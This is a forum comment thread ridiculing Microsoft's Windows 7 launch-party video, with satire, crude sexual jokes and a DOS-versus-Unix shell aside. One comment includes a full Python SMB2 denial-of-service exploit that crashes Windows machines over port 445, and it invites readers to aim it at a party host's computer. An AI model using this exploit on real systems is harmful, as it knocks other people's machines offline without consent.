Microsoft can't make anybody happy... They hire one of the best comedians to do a funny commercial and everybody gets mad. They do commercials competing with apples 'I'm a mac' and everybody gets mad. They show that pc's can be cheaper and people get mad. They make commercials showing how easy to use it is and people get mad. Now they make a commercial showing people ideas for a launch party for what is possibly their best OS ever and people get mad.
They might as well just make commercials featuring goatse guy eating a baby, they couldn't make people happy anyway.
The RIAA should probably not watch the first 10 seconds of this launch party video on burning music: http://www.youtube.com/user/LaunchParties#play/all/uploads-all/2/9l0-TtH6icc "If you enjoyed the music tonight....you ought to take it home with you. Let me walk you through how to burn a cd..."
Where do these greasy stains on the younger blonde's dress come from? Looks like someone couldn't keep their hands off her during the shooting of the video.
Penguin Parties!!
There really can be such a thing as a free lunch, in some respects :-)
The ad has all the lameness of infomercials, or some kind of cult tesimony.
"The people in this video are most commonly described using this metaphor."
"Alex, what is a tool?"
As always, all IMO. Insert "I think" everywhere grammatically possible.
Takes me back to the Vista launch ads as the only word that comes to mind is "Wow".
This video is fantastic! It not only conveys all of the really super great features of Windows 7, it also shows the level of commitment Microsoft has to making computing an exciting experience. I'm planning on having a whole set of parties. I don't know if I can get people to have as much fun as shown in the commercial, but the point is that the party reflects what Microsoft has done since Vista. What really has to happen is for Microsoft to buy air time at nite and run this as an infomercial, and also run the ad on TV in primetime. I would like everyone to see this Microsoft commercial in full many times per week over the next year. They should book a billion dollars in TV air time in advance in order to get better rates. They could even spend 700-800 million on a superbowl ad with this commercial. I already have this on my Zune, and am playing it over and over.
I give up, I will buy windows 7...
You want me to see a bad movie where Megan Fox shows off her body fine, I mean its not like the transformers movie this summer was the same thing right? Right?????....
You want me to see a Bruce Willis movie where everyone is a robot with a plot that was originally a Twlight Zone episode remade 4 times then made into a movie 4 times and even has James Cromwell who was in I,Robot which was kind of like this movie ok I will do it......
Yes I will even buy a mac too, but in this case my only request is that you kill Justin Long.....
OK, can I see the House, M.D. episode or Family Guy, Oh you want me to watch The Big Bang Theory, followed by Numb3rs......
I am going to go to sleep
it was all too much, but at least I get to sleep now.
Did Glenn Beck rape and kill a girl in 1990? gb1990.com
I saw it and thought it was a spoof of some US ad I had not seen. I laughed so hard when I saw it I peed a little. I seriously thought it was hilarious.
Don't fight for your country, if your country does not fight for you.
... that they didn't manage to get Ballmer, so they shoot the video
Yes, but then those of us who want a shell get... the freaking MS-DOS Command Prompt. Quite possibly the worst shell interface known to mankind.
Whether or not it's the worst interface know to humankind, or not, I can't figure out how to make it do simple OS stuff (short of writing a batch file). Now I've heard it said (to my wife by some friend who does MS training) "geeks like that [not referring to me btw] are a dime a dozen. They all hate Windows, because they don't know how to use it. That might be true, so maybe I'm just an ignorant geek, but let me give an example of something I frequently have to do.
We've received some XML files for processing. There is a parent dir (sorry 'folder') and it contains as many folders as there are files (ie each files lives in it's own folder). The number of files is not small, but not exactly BIG either, say around the 1000 mark. Ie. what I want to do is simply mv */*xml . Very basic stuff.
Being an ignorant *nix geek, I find this a difficult task to achieve using the GUI, so I try the MS-DOS shell, I still can't work it out, move being somewhat different to mv. And I freely admit it might be my fabled geek ignorance of Windows at work, so if anyone can give me the DOS cmd that does this ...
The only way I can get it happening is to write a simplistic script. So if I have to do that I'm going to use perl or python rather than DOS, no? Python has a nice enough shell, so I might as well use that ... finally I end up living in the python shell when on a Windows box (and everybody is happy).
Which goes to show that the best way to use Windows is not to use Windows at all, even when you are using Windows ... at least for me. Hmm that's almost a sig.
Better to be despised for too anxious apprehensions, than ruined by too confident a security. --Edmund Burke
We're taking this to (sic) literally. Surely? I mean Windows isn't seriously thinking people will host one of these parties.
You're kidding me dude? You mean you're not going to host a Win7 party?!
The tupperware people versus the Arne Jacobsen cutlery set ... So where the fuck does that leave me?
Well if you're not having a party I guess that leaves you as a 'gay Apple user'.* You even know who Arne Jacobsen is ... ;)
* That's a meme that seems to have died on /. (and maybe I should have left it in its grave)
Better to be despised for too anxious apprehensions, than ruined by too confident a security. --Edmund Burke
I'm a shut in with no friends and I order everything online in sizes that fit through my mail slot.
And even I pity these people.
If you check out the video for playlists and touch at:
http://www.youtube.com/watch?v=_I3pEBfca80&feature=channel
Watch the guy behind the "presenter" at about 24 seconds in... Windows 7 sure is powerful!
and through rose-tinted glasses. Some questions that came to mind.
1. was the Sony switched on?
2. why didn't any of the partygoers demonstrate something wonderful in Win7?
3. the younger woman seemed rather hyper.
btw Does the Viao mean that Win7 comes with rootkits pre-installed?
... to see this turns into wild porn! Just believe me, they start to undress & fuck after a few minutes.
(As a sidenote: The captcha for this post was "agonized")
Office supply company Microsoft has reassured consumers and industry analysts that its decline will continue with the new video on how to run a Windows 7 house party, whose "viral" nature goes beyond "herpes" or "swine flu" to "SARS."
Originally thought to be a devastating satirical spoof before being confirmed as genuine, the video features Stepford wives and husbands reading lines off the autocues in each others' blank eyes on how to hold a party. The digital clock on the cooker in the background jumps around at random. The black guy and the MILF go off to fuck. Finally, everyone drinks the cyanide-laced Kool-Aid and looks forward to being one with Steve Jobs in the next world, before discovering that they have been judged unworthy and will spend eternity with Steve Ballmer instead.
The video was produced by the same team that advertised Vista with comedians Jerry Seinfeld and Bill Gates, working again with abnormal psychology researchers from the University of Washington. "Count the headlines!" shouted one of the marketing department's several thousand monkeys with video cameras. "Count the YouTube views! It's clear that my work gets the brand out, and if I don't get appropriate compensation in my annual review I'll be suing." The Polish version of the video features a white face crudely cut-and-pasted over the black guy's head.
"Windows 7 was getting great reviews," said completely independent ZDnet marketing marketer Mary Jo Enderle, "even the geeks loved the preview versions, everyone was amazed that Microsoft appeared to have successfully grown past the Vista disaster. But the mind-sodomising cluelessness of thinking this video was actually a good idea has firmly snatched defeat from the jaws of victory, blessed Windows 7 with the stench of death, confirmed that it really is just Vista with a coat of paint and set everyone's mind at rest.
"That's why my column this week talks about all the great stuff coming in Windows 8. Windows 8, that's the one to beat! It'll work on netbooks! It'll be secure! It'll have a database filesystem! Snow Leopard can't touch it! Businesses should definitely move from XP!"
Microsoft has previously shown its deft ability to drop the ball two yards from the end of the field with the XBox 360, in which a powerful and popular game console was manufactured so shoddily that over 50% of machines turned out defective, and the Zune, in which an MP3 player of decent hardware capabilities at a good price point was crippled with bad firmware and unusable software and sold in a package the color of baby shit. "In a stroke of genius, they put in wifi but not a web browser, so the iPod Touch could steal their thunder six months later. You don't get brilliance like that for free."
The new, abbreviated Windows 7 house party instructions have been sent to marketing: "Here is a Windows 7 DVD. Here is a bottle of vodka. Here is a gun with one bullet."
http://rocknerd.co.uk
They are a good marketing company in that they sell products that people want to buy. What they are useless at is advertising.
I was going to ask if I could crash someone's launch party, but I'm pretty sure it'll crash itself.
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I must confess that I was taken in by this. Heck, I was one of the silly dweebs that had "BBS" parties, "LAN" parties and attended the occasional "SUG" meeting. Is it campy and silly? SURE!!! Is it uncool? SURE!! -- But so am I!! Do I get a 100% free copy of Windows 7 Ultimate Edition? YOU BET!! So, to all you naysayers: NYAAAAAAAH!!! :-)
Bill
If I buy, let's say, a t-shirt, I expect it to be defects free, otherwise, I'd not buy it or would have it changed.
:) normal value should be "\x00\x00"
So, is Windows 7 defect free?
Let's see, just try this script in the party to check if Windows 7 is a good new product, the parameter is the ip of the happy windows 7:
(adapted from http://seclists.org/fulldisclosure/2009/Sep/0039.html )
------begin---------
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
import socket
import sys
ip = sys.argv[1]
host = ip, 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
sock = socket.socket()
sock.connect(host)
sock.send(buff)
print sock.recv(8192)
sock.close()
</pre>
If the script works, vista dies and it means Microsoft has again released a brand new product with an important bug.
Please, it's time to ask Microsoft to release secure products. Believe it or not, I plan to use Windows 7 at some point and want it to be a good O.S.
Omar
PS. The script was tested on MacOS 10.6, but should work on Linux too.
I have been a Sys Admin for many years, I enjoy a lot what I do, still I find this concept so utterly repulsive that I can barely contain my disdain.
IANAL but write like a drunk one.
When I was watching this, I was thinking of the already posted: Tupperware, Amway, and other similar cheesy tricks to get someone to buy some crap nobody really wants.
This infomercial really lessens any legitimacy of Windows 7. Without seeing it, I already think it's something not worth checking out merely because of this one video. In time Microsoft will come to learn that this sort of publicity is going to turn out really negative for them.
Oh, gee, it is so nice of them, to release an OS that supports their own, proprietary, non portable technology.
"It includes drivers for modern hardware...."
So yet again, people with older computers can go an f**k tehmselves...(what is the support threshold, hardware not older than 3 months?)
IANAL but write like a drunk one.
At this stage the only thing that could generate interest and also maybe make a new dawn of the windows (tarnished) image...is to have contest like doritos did, so what do we name our next windows, and offer a great reward xxx to the winner...with
people posting stuff from youtube etc...image all the great videos you could get from there that would be as good as the mac ones...
But no...let's throw our money at Seinfeld, then change again and again our strategy until we just collapse in a ball in the fetal position on the side of the road...nice one Microsoft....here's MY idea..have a commercial of a great shot of Steve Balmer getting fired , and then having HIS boss throw a chair at him on his way out...and THEN have the balls to say...windows, not afraid to change with the times!....simple sweet, and makes fun of windows past...perfect in my books.
What is unforgivable is not to have a person checking continuity, it is part of the basics of making videos or film.
IANAL but write like a drunk one.
If that is really their strategy they should hire good marketing people.
IANAL but write like a drunk one.
I couldn't load it in time, and the video portion wouldn't play. Only the audio. THAT was creepy enough! It sounded like a setup for Jahova's Witness intervention or something. So, Muffy, have you accepted Windows 7 as your personal Sav- uh - I mean Operating System?
Most people are mostly good most of the time.
Using a single batch file, rename a series of files so that their filenames start with the number of the iteration. For example:
test.txt -> 1_test.text
runme.bat -> 2_runme.bat
Ok! I got to see the Video. Yawn. I got a better, more realistic party in mind. Hookers and Windows 7!! Woo Hoo! Not only can you and your guests watch porn on your new Windows 7 setup and get drunk together, but you can get infected too! And the Follow up party will be a Clinic Party where everyone gets treated for the STD's they got at the other party! And Windows 7 can be the guest of honour there too! See how easy it is to rid Windows 7 of all those nasty little bugs it got while you were having sooooo much FUN using it? Wow! We'll take shots of PCcillin and, if that fails we'll have a re-install Party too! Boy oh boy, the fun never ends with Microsoft!
Most people are mostly good most of the time.
This ranks right up there with the little asian kid. Apparently M$ thinks of us as dumb little kids that need there products to be productive in society. But everything they do just seems like a big piece of shit pie. Their Windows 7 is nothing more than Vista re-branded. Save it Windows fan-boys. I have kicked the tires on 7 386 and x86_64 a months ago. I built a VM booted it and couldn't believe my eyes! I said to myself "Holy Shit!" This is just Vista. Never booted the VM again. Grow a brain and dump these facist assholes and their desktop tyranny. Dear Microsoft, just open source your OS. That way it can get fixed. It is the only way it will ever be worth a damn!
Brandon Gardner brandon.gardner@gmail.com
The default shell of Windows Server 2008 is Powershell isn't it?
to produce something so foul that stereotypical nerds look elite and cool.
...Ubercorney.
Look, the people throwing the 'party' thinks cool! MS will give it to me as compensation for introducing it to my family and friends.
Considering they like the new OS, these people CAN be bought. I know, because I'm ONE OF THEM HA HA HA HAAAA! (Evil Cackle). Free software for me, boo hoo for u.
You changed the operating system on your computer because you didn't win in a raffle?
Haha. Don't know why but this really cracked me up..
They lost their cool a long time ago - back when it was no longer seen to be cool to work for them,
You might blame it on Monkeyboy, but it actually started in the developer community the early '90s, when people started to realize that perpetual death marches are an indicator that the higher-ups are clueless.
"and we... have tried them all." - She looks like she's about to cry when she says this. What did they do to these people!?
they tell you that you should install Windows 7 and try it for a couple of days before having the party. So how can you have the party on the day that Windows 7 comes out? were did you get that copy before it went on sale?
I saw one for Windows 95 with Matthew Perry in it that I thought was quite good. Funny, since it was so much better than the actual product, but well done. Good script, story line, direction... It was like a half-hour show, IIRC. Every thing I've seen since has been pretty inept. Maybe since then they've found it more desirable to use FUD and abuse their monopoly position. Good example of the maxim "It never pays to over-estimate the intelligence of the consumer".
The cost of that cleanup, of course, will be borne by taxpayers, not industry.
wow... not to sound like flamer... I have to say, writing a loop to do this is anything but intuitive.
...can someone write a KDE4 Plasmoid of a green digital clock that just randomly shows times between 3:00 and 5:00, changing every so often at random for no apparent reason? Maybe have an option to float around in a nauseating way like the camera movements?
M$ advertising usually LOOKS stupid, boring, idiotic and an embarrassment.
The fact that comments aren't allowed shows you that M$ KNOWS that their marketing just looks stupid, boring, idiotic and an embarrassment.
Its actually inviting Windows FanBoys (both of them,) to create their own YouTube video in the hopes that one of them will go viral.
I have to hand it to M$, on the rusty hub cap off of a 1941 De Soto Custom Coupe.
You really have to get a pro (who won't sign THIS work,) to churn out an ad quite that bad. I haven't seen a wall clock that confused in fiction since Kurt Vonnegut and the "chronosynclastic infundibulum."
Deconstructing the ad shows how desperately M$ is reaching for a viral video from its own customer base.
It takes real balls, and a lot of desperation, to attempt the kind of manipulation.
It takes real balls, and genuine disdain for your users, to think that they're that easily manipulated.
MSBPodcast.com The opinions expressed here are my own. If you don't like 'em... Think up your own stuff.
But as a geek, I'm glad it came out anyway.
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but I get a free copy of Windows 7 Ultimate out of the deal so I'm really not complaining
... and you people think this is a FAILED marketing campaign?
Sounds to me they got just the amount of exposure they wanted.
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I can't access hulu, as I'm in Germany, you insensitive clod. ;)
Any sufficiently advanced intelligence is indistinguishable from stupidity.
Flag the video as "Violent or repulsive content > Shocking or disgusting content"!
I did. If we are enough, perhaps they really take it down. Let's Slashdot it!
Disabling comments and ratings? Bah. Not with us!
Any sufficiently advanced intelligence is indistinguishable from stupidity.
I'm a very sensitive clod. All the jocks told me so.
I assumed that you had figured how to view it remotely through a proxy layer. I cut grass too, so I'd still be on your lawn.
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Maybe. I bet your analysis is spot on, and they're congratulating themselves even now. But then, even the best can completely screw up now and then, and I think this is one of those times.
So, we need a new word, as no existing word effectively conveys such miscalculation - the climax of their joyful efforts have resulted in something quite unbearable to watch. Therefore, I nominate "shitgasm".
- T
I just saw the "Windows 7 Happy" commercial on TV with that young asian girl ("more happiness is coming") ...simply nauseating. The girl is cute, but it is so manipulated and contrived it is just repulsive. I haven't had such a negative reaction to a TV ad in years. (And I'm not anti-Microsoft particularly - I use Windows almost exclusively both at home and work.)
A few years back they ran an MSN marketing campaign featuring this really dorky butterfly guy. It was pretty clear at that point AOL had little to fear from MSN.
I have to say, writing a loop to do this is anything but intuitive.
I agree it's surprising that DOS commands can't achieve even a simple move as commands per se, and I would add that the nature of the 'move' and 'copy' commands makes it is obvious that a loop (ie. a "simplistic script") is required. And isn't that what I was saying above? At the point that scripting becomes necessary I won't bother using DOS when there are better tools readily at hand.
Yes this probably reflects my level of DOS ignorance and my familiarity with other tools more than anything else. And I admit that for this minimal example it's probably just as easy to write it as a one-line on the terminal as OP posted (on bash and ksh, I write for loops all the time). But the issue here is not whether this particular example can be writen as a one-liner, it's that simple stuff that a bare command will do on a unix shell already require a loop on DOS. And that means that when you come to do more complicated stuff you're already at least one level behind.
Better to be despised for too anxious apprehensions, than ruined by too confident a security. --Edmund Burke
but I could only stand 1 minute 40 seconds before I RAGED. WTF. Seriously, somebody hand Microsoft's marketing department a bunch of pink slips and a dead fish, this STINKS.
OK, so the file name for the Host Notes was "Host Notes - Help & How-to.indd" - tags show file was created in Adobe InDesign CS3 (5.0.4), from file path file:///tmp/All-Parties-All%20Themes.pdf Uh, where's the C:? Last I checked, Windows didn't have a /tmp volume. Haha, Windows 7 party so lame, the party planners wouldn't even use the damn OS.